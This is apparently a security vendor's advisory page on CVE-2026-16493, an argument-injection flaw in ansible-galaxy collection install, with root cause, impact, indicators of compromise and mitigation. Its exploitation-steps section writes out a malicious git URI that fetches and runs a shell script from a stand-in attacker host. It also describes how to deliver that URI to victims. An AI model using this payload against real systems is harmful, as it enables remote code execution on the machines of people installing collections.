CVE-2026-16493
Ansible vulnerability analysis and mitigation

Overview

CVE-2026-16493 is an argument injection vulnerability in ansible-core that allows arbitrary command execution when a user runs ansible-galaxy collection install with a malicious git source URI. The flaw exists in the _extract_collection_from_git() function within lib/ansible/galaxy/collection/concrete_artifact_manager.py, which constructs git clone commands without a -- (end-of-options) separator before user-supplied URLs. This is an incomplete fix for CVE-2026-11332, which hardened the role install path but left the equivalent collection install code path unprotected. Affected products include ansible-core across all active branches (devel, stable-2.18, stable-2.17) as of July 21, 2026. It carries a CVSS v3.1 base score of 7.8 (High) (Red Hat CVE, GitHub Advisory).

Technical details

The root cause is CWE-88 (Improper Neutralization of Argument Delimiters in a Command — Argument Injection). The _extract_collection_from_git() function passes user-controlled git URLs directly to subprocess.check_call() without a -- end-of-options guard, allowing an attacker to craft a malicious collection source URI such as git+-ccore.sshCommand=sh -c "malicious_command" that causes git to interpret attacker-controlled input as command-line flags. The parse_scm() function performs no security-relevant URL validation — no scheme check, no argument prefix check, and no sanitization. Additionally, the git checkout command in the same function also lacks -- before the user-supplied version value, providing a secondary injection point. Exploitation requires user interaction (a user must run ansible-galaxy collection install with the attacker-supplied source), but no privileges are required (Red Hat Bugzilla, GitHub Advisory).

Impact

Successful exploitation results in arbitrary command execution on the system running ansible-galaxy collection install, with the privileges of the invoking user. The CVSS assessment reflects high confidentiality, integrity, and availability impact — an attacker can read sensitive files, modify system state, or disrupt availability. Because Ansible is commonly used in automation pipelines and CI/CD environments, exploitation could enable lateral movement to managed hosts or compromise of secrets stored in Ansible vaults or environment variables (Red Hat Bugzilla, GitHub Advisory).

Exploitation steps

  1. Craft a malicious collection source URI: Construct a git URI that injects git arguments, for example: git+-ccore.sshCommand=sh -c "curl http://attacker.com/shell.sh | bash"#. The leading -c flag causes git to interpret the value as a configuration option rather than a URL.
  2. Distribute the malicious source: Host the crafted URI in a requirements file (e.g., requirements.yml), a public repository, or deliver it via social engineering to a target who uses ansible-galaxy collection install.
  3. Trigger installation: When the victim runs ansible-galaxy collection install -r requirements.yml or ansible-galaxy collection install 'git+-ccore.sshCommand=...', the _extract_collection_from_git() function passes the URI directly to subprocess.check_call() without sanitization.
  4. Achieve arbitrary command execution: Git processes the injected -ccore.sshCommand configuration option, executing the attacker-specified shell command with the privileges of the user running ansible-galaxy (Red Hat Bugzilla).

Indicators of compromise

  • Logs: Ansible Galaxy logs or shell history showing ansible-galaxy collection install invocations with URIs containing -c, --config, or sshCommand substrings; unexpected git subprocess invocations with unusual arguments.
  • Process: Unexpected child processes spawned by the ansible-galaxy or git process (e.g., sh, bash, curl, wget, python) during a collection install operation.
  • Network: Outbound connections to unknown external hosts initiated by git or shell processes during ansible-galaxy collection install execution.
  • File System: Unexpected scripts, binaries, or cron jobs created in the user's home directory or system directories following an ansible-galaxy invocation; new SSH authorized keys or modified .gitconfig files.

Mitigation and workarounds

Red Hat has acknowledged the vulnerability and a patch is in progress (tracked in Bugzilla #2503724); fixed version details have not yet been published as the CVE is awaiting analysis. Users should avoid installing Ansible collections from untrusted or unverified git sources until a patch is available. As a workaround, manually inspect any requirements.yml or collection source URIs for suspicious argument-like prefixes (e.g., -c, --) before running ansible-galaxy collection install. Monitor for upstream ansible-core releases that address this issue on the devel, stable-2.18, and stable-2.17 branches (Red Hat CVE, Red Hat Bugzilla).

Additional resources


SourceThis report was generated using AI

Related Ansible vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-16493HIGH7.8
  • Ansible logoAnsible
  • ansible
NoYesJul 21, 2026
CVE-2026-11332HIGH7.8
  • Ansible logoAnsible
  • ansible
NoYesJun 05, 2026
CVE-2026-11837HIGH7.3
  • Ansible logoAnsible
  • ansible
NoYesJun 10, 2026
CVE-2026-11820MEDIUM6.5
  • Ansible logoAnsible
  • rhc-worker-playbook
NoNoJun 23, 2026
CVE-2026-44188MEDIUM5.3
  • Ansible logoAnsible
  • ansible
NoNoJun 15, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management